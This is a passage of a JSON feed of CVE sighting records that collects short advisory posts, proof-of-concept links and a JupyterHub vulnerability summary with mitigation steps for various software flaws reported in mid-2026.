CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-18T01:00:51.310199Z"}, {"uuid": "5d0a9dcd-1c61-4e0b-aa2c-f6dde402ea8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54758", "type": "seen", "source": "https://www.acn.gov.it/portale/w/notepad-poc-pubblici-per-lo-sfruttamento-delle-cve-2026-57233-cve-2026-52886-e-cve-2026-54758", "content": "DisponibilI Proof of Concept (PoC) per le vulnerabilit\u00e0 identificate dalle CVE-2026-57233, CVE-2026-52886 e CVE-2026-54758 \u2013 gi\u00e0 sanate dal vendor \u2013 presenti nel software \"Notepad++\", noto editor di testo avanzato per Windows.", "creation_timestamp": "2026-07-18T01:00:52.322642Z"}, {"uuid": "5a94fe1e-57ef-47c0-b615-6f4cd9f4e576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54052", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqv6knoses2l", "content": "\ud83d\udccc CVE-2026-54052 - n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to 2.56.1, in HTTP mode with ... https://www.cyberhub.blog/cves/CVE-2026-54052", "creation_timestamp": "2026-07-18T02:07:06.548336Z"}, {"uuid": "441ad4ab-37f7-4ed1-8ae8-54284faad726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4aq3wk2m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:30.162014Z"}, {"uuid": "787fc6c8-848f-4078-ac53-785020325423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4cl4m22m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:31.048475Z"}, {"uuid": "0dda6218-6691-4f3a-bbc8-87c274a04850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4cl5lc2m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:31.916425Z"}, {"uuid": "fba1d04a-6503-417b-8610-74d496b69f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4cl7js2m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:32.797233Z"}, {"uuid": "b40bc908-df8a-4a2a-a1af-44f8cac89b13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4claj22m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:33.694832Z"}, {"uuid": "f06ffa6b-e9da-4cab-a4e2-9b509e56c958", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4claj32m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:34.529646Z"}, {"uuid": "62ae6ae8-8fe4-4666-94de-f7f805aafeef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4claj42m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:35.373392Z"}, {"uuid": "887a547d-c0d6-4eed-b3aa-39943ff8089e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54305", "type": "seen", "source": "https://bsky.app/profile/lillyn8n.bsky.social/post/3mqve4clbie2m", "content": "6/ This follows CVE-2026-54305 from two weeks ago. Another Enterprise access flaw. Different code, same pattern: external identity systems keep mixing up who is who. Every integration point is a potential confusion point. Trust, but verify the issuer. #ZeroTrust #n8n", "creation_timestamp": "2026-07-18T03:46:36.277483Z"}, {"uuid": "1ee6afa8-0e87-4139-958d-19f0176acd2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "published-proof-of-concept", "source": "Telegram/qb_VPVzOZ-t5tkQsHPqjzf9oQcpaZWyf0b6GUkkIlr12jYk", "content": "", "creation_timestamp": "2026-07-18T04:00:03.492751Z"}, {"uuid": "fa877901-d2b1-4001-927e-07aa7b52a981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "published-proof-of-concept", "source": "Telegram/JMPLlqAJKVKStPUctSi0425VFAAqn_JlP0EBk3HwzAKEQKc", "content": "", "creation_timestamp": "2026-07-18T04:00:03.803056Z"}, {"uuid": "4fbf3593-f67b-46fa-80db-352b0db42cb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54159", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqvid5oest2q", "content": "\ud83d\udd34 CVE-2026-54159 - Critical (10)\n\nPrestaShop ps_facetedsearch is a module that adds layered navigation filters. From 3.0.0 until 4....\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54159/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-18T05:01:52.447153Z"}, {"uuid": "e7348f38-12e4-48ff-8d68-454d2c88a31c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54121", "type": "seen", "source": "https://bsky.app/profile/azureweekly.info/post/bueyb3cifq6su", "content": "Detecting CVE-2026-54121 (Certighost) with Microsoft Defender by EdanZwick\nhttps://techcommunity.microsoft.com/blog/MicrosoftThreatProtectionBlog/detecting-cve-2026-54121-certighost-with-microsoft-defender/4542861?utm_source=bluesky&utm_medium=social&utm_campaign=newsletter", "creation_timestamp": "2026-08-27T14:15:21.589921Z"}, {"uuid": "5da69cb2-2f2e-4118-bb17-05acd687da3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54010", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqwsjmkf4t2m", "content": "\ud83d\udccc CVE-2026-54010 - Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, Open WebUI lets an authenticated us... https://www.cyberhub.blog/cves/CVE-2026-54010", "creation_timestamp": "2026-07-18T17:37:06.276532Z"}, {"uuid": "54155584-7bf8-421b-841d-aaea8dd8b5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54264", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqwza72rln2m", "content": "\ud83d\udccc CVE-2026-54264 - Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 2... https://www.cyberhub.blog/cves/CVE-2026-54264", "creation_timestamp": "2026-07-18T19:37:06.678144Z"}, {"uuid": "cc77a43c-dfa0-42e7-a5c1-73d18002627e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "published-proof-of-concept", "source": "Telegram/qb_VPVzOZ-t5tkQsHPqjzf9oQcpaZWyf0b6GUkkIlr12jYk", "content": "", "creation_timestamp": "2026-07-19T00:00:29.739102Z"}, {"uuid": "2a1e568b-9606-4604-8d3d-a7f17bb28dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "published-proof-of-concept", "source": "Telegram/JMPLlqAJKVKStPUctSi0425VFAAqn_JlP0EBk3HwzAKEQKc", "content": "", "creation_timestamp": "2026-07-19T00:00:30.016825Z"}, {"uuid": "176bb02f-7107-47e6-b8df-f492fd5b56b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54496", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqycsd3xw42c", "content": "\ud83d\udd34 CVE-2026-54496 - Critical (9.3)\n\nZEBRA is a Zcash node written entirely in Rust. Prior to zebrad 5.0.0, halo2_gadgets 0.5.0, orcha...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54496/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-19T08:00:58.634818Z"}, {"uuid": "41a889ff-625c-4913-bdba-6568b8c83542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54523", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqzehcl4ei2j", "content": "\u2638\ufe0f TREND: Kyverno flaw CVE-2026-54523 (CVSS 9.6) now has a public PoC \u2014 any user who can create a namespaced Policy can ride Kyverno's admission-controller identity to admin ANY namespace, bypassing RBAC. If you run Kyverno, patch and audit Policy writers. Src: GitHub Advisory", "creation_timestamp": "2026-07-19T18:03:15.974521Z"}, {"uuid": "f556ff46-51a7-4507-ad7b-ea664efb9df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54291", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqzs3ejcr42s", "content": "\ud83d\udccc CVE-2026-54291 - pgjdbc is an open source postgresql JDBC Driver. In releases 42.7.4 through 42.7.11, channelBinding=require connections can be silently downgraded fro... https://www.cyberhub.blog/cves/CVE-2026-54291", "creation_timestamp": "2026-07-19T22:07:08.056740Z"}, {"uuid": "dfa8ae91-43d0-48ff-b390-7e6bd076b6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54049", "type": "published-proof-of-concept", "source": "https://github.com/sakaiproject/sakai/security/advisories/GHSA-w2x5-gv52-9ccv", "content": "", "creation_timestamp": "2026-08-24T20:35:02.902331Z"}, {"uuid": "230f579d-7e17-4fee-9249-af1185949cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54338", "type": "seen", "source": "https://gist.github.com/alon710/4b4569a59147cbf248fba613069c312c", "content": "# CVE-2026-54338: CVE-2026-54338: JupyterHub Unauthenticated Denial of Service via Unbounded Username Logging\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-08-25\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54338\n\n## Summary\nJupyterHub is vulnerable to an unauthenticated Denial of Service (DoS) vulnerability. Prior to version 5.5.0, form-based authenticators failed to restrict the size of the username input field on failed logins, allowing remote attackers to exhaust host storage and memory resources.\n\n## TL;DR\nUnauthenticated remote attackers can trigger a Denial of Service on JupyterHub by sending oversized username strings to form-based login endpoints, exhausting system log storage and server memory.\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 5.3 (Medium)\n- **EPSS Score**: 0.00282 (Percentile: 20.17%)\n- **Impact**: Denial of Service, Log Injection\n- **Exploit Status**: None\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- JupyterHub\n- **jupyterhub**: < 5.5.0 (Fixed in: `5.5.0`)\n\n## Mitigation\n\n- Upgrade to JupyterHub version 5.5.0 or later\n- Transition to third-party non-form authenticators like OAuthenticator\n- Apply reverse proxy rate limiting on the /hub/login route\n- Implement filesystem isolated log rotation and storage quotas\n\n**Remediation Steps:**\n1. Check current JupyterHub installation version using 'jupyterhub --version'\n2. Update JupyterHub deployment packages to version 5.5.0 or higher\n3. Restart the JupyterHub service to load the patched code paths\n4. Configure disk write quotas and log rotation for the logging volume\n\n## References\n\n- [GHSA-p43p-whwx-q52h](https://github.com/jupyterhub/jupyterhub/security/advisories/GHSA-p43p-whwx-q52h)\n- [Fix Commit](https://github.com/jupyterhub/jupyterhub/commit/d6dc595f84b7509969686da31d87d6d69e7fce0a)\n- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-54338)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-54338)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54338) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-25T20:33:25.238008Z"}, {"uuid": "a4a1d1f4-7c10-44f1-94e3-37e6aa62cf98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54351", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr25sul73l2v", "content": "\ud83d\udccc CVE-2026-54351 - Budibase is an open-source low-code platform. Prior to 3.39.9, the webhook trigger endpoint in Budibase is publicly accessible and passes the full HTT... https://www.cyberhub.blog/cves/CVE-2026-54351", "creation_timestamp": "2026-07-20T01:37:07.255585Z"}, {"uuid": "09cbc279-d97c-4b82-b4c2-2fbe545dc6f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54904", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr2jkeoeip2v", "content": "\ud83d\udccc CVE-2026-54904 - concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when ... https://www.cyberhub.blog/cves/CVE-2026-54904", "creation_timestamp": "2026-07-20T05:07:06.746916Z"}, {"uuid": "dfd323f9-85cd-4c25-ae2d-b39a80d625e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54271", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr2qawu73k26", "content": "\ud83d\udccc CVE-2026-54271 - protobufjs-cli is the command line add-on for protobuf.js. Prior to 1.3.2 and 2.5.0, a previous fix for unsafe name handling in pbjs static / static-m... https://www.cyberhub.blog/cves/CVE-2026-54271", "creation_timestamp": "2026-07-20T07:07:06.864048Z"}, {"uuid": "27ce99d5-0dfb-49e5-975e-11241d95efc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54268", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mr2vbuzolw2v", "content": "\ud83d\udccc CVE-2026-54268 - Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 2... https://www.cyberhub.blog/cves/CVE-2026-54268", "creation_timestamp": "2026-07-20T08:37:06.730849Z"}, {"uuid": "ee7be306-9538-43fa-919b-c3eb10825cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54590", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mr2zklwmfk2t", "content": "\ud83d\udea8 ATEN\u00c7\u00c3O admins Fedora 44! O python-asyncssh tem duas vulnerabilidades cr\u00edticas (CVE-2026-54590 e CVE-2026-54591).  Saiba mais :- >  tinyurl.com/5ts4m4rt", "creation_timestamp": "2026-07-20T09:53:36.396010Z"}, {"uuid": "d73e48ff-0d90-49be-a6fa-33777182f64b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54591", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mr2zklwmfk2t", "content": "\ud83d\udea8 ATEN\u00c7\u00c3O admins Fedora 44! O python-asyncssh tem duas vulnerabilidades cr\u00edticas (CVE-2026-54590 e CVE-2026-54591).  Saiba mais :- >  tinyurl.com/5ts4m4rt", "creation_timestamp": "2026-07-20T09:53:36.458683Z"}, {"uuid": "93bda646-a364-48ca-9e67-49cf60ab4fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54590", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mr2zkmrplk2t", "content": "\ud83d\udea8 ATEN\u00c7\u00c3O admins Fedora 44! O python-asyncssh tem duas vulnerabilidades cr\u00edticas (CVE-2026-54590 e CVE-2026-54591).  Saiba mais :- >  tinyurl.com/5ts4m4rt", "creation_timestamp": "2026-07-20T09:53:36.885459Z"}, {"uuid": "d16ca391-3300-477c-9830-3607c6d4bd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54591", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mr2zkmrplk2t", "content": "\ud83d\udea8 ATEN\u00c7\u00c3O admins Fedora 44! O python-asyncssh tem duas vulnerabilidades cr\u00edticas (CVE-2026-54590 e CVE-2026-54591).  Saiba mais :- >  tinyurl.com/5ts4m4rt", "creation_timestamp": "2026-07-20T09:53:36.934617Z"}, {"uuid": "34dd6548-56cb-4268-b1db-42f42cf1221b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54910", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mr3o2yb6fc2m", "content": "\ud83d\udfe0 CVE-2026-54910 - High (7.7)\n\nFileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.4.3-beta, ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54910/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-20T16:00:39.643991Z"}, {"uuid": "2b2ec4b4-1fc5-4f2e-8471-03be427b522d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54051", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mr3tqdty562a", "content": "CVE-2026-54051 - network-ai\nA security issue in Network-AI allows malicious commands to be executed if they match a wildcard allowlist. This could allow an attacker to run arbitrary code on a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#networkai #jovanrocks #npm #CVE #infosec", "creation_timestamp": "2026-07-20T17:42:05.050415Z"}, {"uuid": "93f3b9e2-9e89-4400-aa00-a7005d942f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-20T18:00:13.315980Z"}, {"uuid": "8543c2a5-a132-4b18-98e4-ae7159dd0573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "Telegram/NW7V9u2EGhRgED-z9xdOzHZbsfjRyxRBUkGYF4xdEtg2Mh4", "content": "", "creation_timestamp": "2026-07-20T18:00:13.452453Z"}, {"uuid": "5157ee74-4097-475b-9445-f9ceb6ccb0e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54051", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr3xmfzsmt2g", "content": "CVE-2026-54051 - Network-AI has an an OS Command Injection issue\nCVE ID : CVE-2026-54051\n \n Published : July 20, 2026, 5:17 p.m. | 26\u00a0minutes ago\n \n Description : Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell...", "creation_timestamp": "2026-07-20T18:51:27.375893Z"}, {"uuid": "687614e8-3770-42f2-876d-ceff95d50959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54538", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr3yxvw2re2j", "content": "CVE-2026-54538 - xrdp: Pre-auth infinite loop via totalLength=0 in TS_SHARECONTROLHEADER\nCVE ID : CVE-2026-54538\n \n Published : July 20, 2026, 5:17 p.m. | 26\u00a0minutes ago\n \n Description : xrdp is an open source RDP server. In versions 0.10.6 and prior, a n issue was discovered ...", "creation_timestamp": "2026-07-20T19:15:46.858955Z"}, {"uuid": "08262523-d5ab-41dd-a6c6-b33c538f5b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54429", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mr44uqiedv2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54429 \u0432 SIMATIC S7-PLCSIM Advanced: \u0443\u0433\u0440\u043e\u0437\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0F38EF23-EE0B-48F8-AE2F-06C83ADA44C6", "creation_timestamp": "2026-07-20T20:25:35.548969Z"}, {"uuid": "79a64f77-b8de-4857-b3a2-d7abe0e30a9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54058", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mr4benmlmo2q", "content": "CVE-2026-54058 - pillow\nAn old version of Pillow, a Python library for image handling, could expose sensitive data from other processes when loading a specific type of image file. This has been\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#pillow #pythonpillow #pip #CVE #infosec", "creation_timestamp": "2026-07-20T21:46:08.236501Z"}, {"uuid": "9ad319b5-5a67-43c8-ad4b-bd85170aa91e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54059", "type": "published-proof-of-concept", "source": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x", "content": "", "creation_timestamp": "2026-07-20T22:37:46.953937Z"}, {"uuid": "2b91336d-dbbe-4589-ac07-4a37fed3322a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54060", "type": "published-proof-of-concept", "source": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2", "content": "", "creation_timestamp": "2026-07-20T22:37:44.710810Z"}, {"uuid": "802f0591-6401-4453-8815-af42c779e506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54058", "type": "published-proof-of-concept", "source": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93", "content": "", "creation_timestamp": "2026-07-20T22:37:49.341951Z"}, {"uuid": "e6863d8b-574e-4f37-9c84-16ad1f87d319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "Telegram/AcOmRRro0Ie3tE3ej3Y7QKM1mXFx7TgmD9WXozzOdGilEl8", "content": "", "creation_timestamp": "2026-07-21T00:00:36.225786Z"}, {"uuid": "658c85e4-2d70-41b4-824b-4b597e648f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "Telegram/NW7V9u2EGhRgED-z9xdOzHZbsfjRyxRBUkGYF4xdEtg2Mh4", "content": "", "creation_timestamp": "2026-07-21T00:00:37.790025Z"}, {"uuid": "d21fd93d-b3e7-45c9-80d5-6e97db077c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/pphm_HackerNews/2341", "content": "\ud83d\udd34 New Certighost PoC exploit lets attackers hijack Windows domains\n\nA proof-of-concept exploit for \u201cCertighost,\u201d a Windows Active Directory Certificate Services vulnerability, has been released that can allow authenticated attackers to potentially compromise a Windows domain.\n\nTracked as CVE-2026-54121, the vulnerability was fixed by Microsoft as part of the July 2026 Patch Tuesday security updates.\n\n\"An authenticated attacker could manipulate attributes associated with a machine account and obtain a certificate from Active Directory Certificate Services that allows authentication as that machine via PKINIT,\" Microsoft explained.", "creation_timestamp": 